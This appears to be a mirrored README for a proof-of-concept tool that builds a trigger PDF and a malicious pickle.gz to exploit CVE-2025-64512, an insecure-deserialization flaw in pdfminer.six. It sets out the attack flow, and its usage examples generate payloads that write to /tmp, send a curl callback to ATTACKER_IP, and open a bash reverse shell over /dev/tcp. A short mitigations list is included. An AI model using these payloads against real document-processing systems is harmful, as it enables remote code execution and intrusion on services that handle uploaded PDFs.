Share
## https://sploitus.com/exploit?id=96E24ECA-9DED-575B-95C4-629FA9AD8346
# CVE-2025-64512 โ€” pdfminer.six Insecure Deserialization (Pickle) via Crafted PDF

![Python](https://img.shields.io/badge/python-3.8+-blue)
![CVE](https://img.shields.io/badge/CVE-2025--64512-red)
![Platform](https://img.shields.io/badge/platform-HTB-green)

> **โš ๏ธ Disclaimer:** This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.

---

## Table of Contents

- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [How It Works](#how-it-works)
- [Requirements](#requirements)
- [Installation](#installation)
- [Usage](#usage)
- [Examples](#examples)
- [Mitigations](#mitigations)
- [Credits](#credits)
- [References](#references)

---

## Overview

**pdfminer.six** is a widely used Python library for extracting text and metadata from PDF files, commonly embedded in document-processing pipelines, CLI tools, and AI/data ingestion workflows. Affected versions load CMap (character-map) cache files for CJK font support using Python's `pickle` module, without validating that the resolved path stays within the expected cache directory.

A specially crafted PDF can reference an attacker-controlled path for this CMap lookup. If an attacker can also place a malicious `.pickle.gz` file at that resolved path (e.g. via a co-located file upload feature), processing the PDF triggers `pickle.loads()` on attacker-controlled data, resulting in **arbitrary code execution**. This exact mechanism โ€” including the PoC PDF structure โ€” was documented by mtolley in the official advisory.

This repository contains a small CLI wrapper around the official proof-of-concept published in the GitHub Security Advisory for CVE-2025-64512. **It does not introduce any new exploitation technique** โ€” the malicious PDF template is taken almost verbatim from the advisory itself; this script only parameterizes the target path, the command to execute, and the output filenames so the PoC is easier to reuse.

---

## Vulnerability Details

| Field       | Value                                            |
|-------------|---------------------------------------------------|
| CVE         | CVE-2025-64512                                    |
| Affected    | pdfminer.six โ‰ค 20250506 (also markitdown โ‰ค 0.1.3, pdfplumber โ‰ค 0.11.7) |
| Type        | Insecure Deserialization (CWE-502)                |
| Privileges  | None (unauthenticated, if PDF processing is exposed) |
| Impact      | Arbitrary code execution                          |
| Patch       | pdfminer.six 20251107+                            |

---

## How It Works

`CMapDB._load_data()` in pdfminer.six resolves a CMap name โ€” taken from a PDF font's `/Encoding` entry โ€” to a file path, and loads it with `pickle.loads()` if it ends in `.pickle.gz`. The function does not validate that the resolved path stays inside pdfminer's own `cmap/` directory.

### Attack Requirements

1. A **trigger PDF** whose font `/Encoding` references an attacker-chosen path (URL-encoded, `/` as `#2F`).
2. A **malicious `.pickle.gz`** file present at `.pickle.gz` on the target filesystem at the time the PDF is processed.

Both files can typically be delivered through the same upload channel that eventually gets processed by pdfminer.six (e.g. a document-ingestion pipeline), as long as the resulting on-disk paths are predictable or discoverable.

### Exploit Flow

```
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as .pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
   target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
   to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
```

---

## Requirements

- Python 3.8+ (standard library only โ€” `gzip`, `pickle`, `argparse`)

No third-party dependencies are needed to **generate** the payload. The **target** must have a vulnerable pdfminer.six (or a project depending on it) actually processing the uploaded PDF.

---

## Installation

```bash
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
```

---

## Usage

```
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]

options:
  --pdf-out PDF_OUT     Output filename for the trigger PDF (default: trigger.pdf)
  --gz-out GZ_OUT       Output filename for the pickle.gz payload (default: payload.pickle.gz)
  --path PATH, -p PATH  Full path (without .pickle.gz) on the TARGET filesystem where the
                         pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
  --command COMMAND, -c COMMAND
                        Command to execute on the target (default: id)
```

---

## Examples

### Basic usage

```bash
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "id > /tmp/pwned" \
  --pdf-out trigger.pdf \
  --gz-out payload.pickle.gz
```

This produces:
- `payload.pickle.gz` โ€” upload this first, to `.../uploads/payload.pickle.gz`
- `trigger.pdf` โ€” upload this second; once the target processes it with pdfminer.six, the command runs

### Network callback (useful to confirm RCE without filesystem access)

```bash
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "curl http://ATTACKER_IP:8000/rce-confirmed" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz
```

### Reverse shell

```bash
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz
```

---

## Mitigations

- **Update** pdfminer.six to 20251107 or later (or the patched release of any project bundling it, e.g. markitdown โ‰ฅ 0.1.4, pdfplumber โ‰ฅ 0.11.8).
- **Restrict/validate** any user-uploaded content that ends up processed by pdfminer.six or tools built on it.
- **Sandbox** PDF-processing pipelines (containers, seccomp, no outbound network) so that unpickling RCE has minimal blast radius.
- **Monitor** for unexpected child processes spawned by document-processing services.

---

## Credits

- **Vulnerability discovered & reported by:** [mtolley](https://github.com/mtolley)
- **Advisory published by:** pdfminer.six maintainers ([pietermarsman](https://github.com/pietermarsman))
- **Original PoC (malicious PDF template):** from the [official GitHub Security Advisory](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp)
- **CLI wrapper / parameterization:** Bardlaudian โ€” a thin convenience wrapper around the official PoC, no new technique

---

## References

- [Official GitHub Security Advisory โ€” GHSA-wf5f-4jwr-ppcp (source of the PoC used here)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp)
- [pdfminer.six repository](https://github.com/pdfminer/pdfminer.six)
- [luigigubello's polyglot variant (single-file PDF+pickle.gz trick, not used in this repo)](https://github.com/luigigubello/CVE-2025-64512-Polyglot-PoC)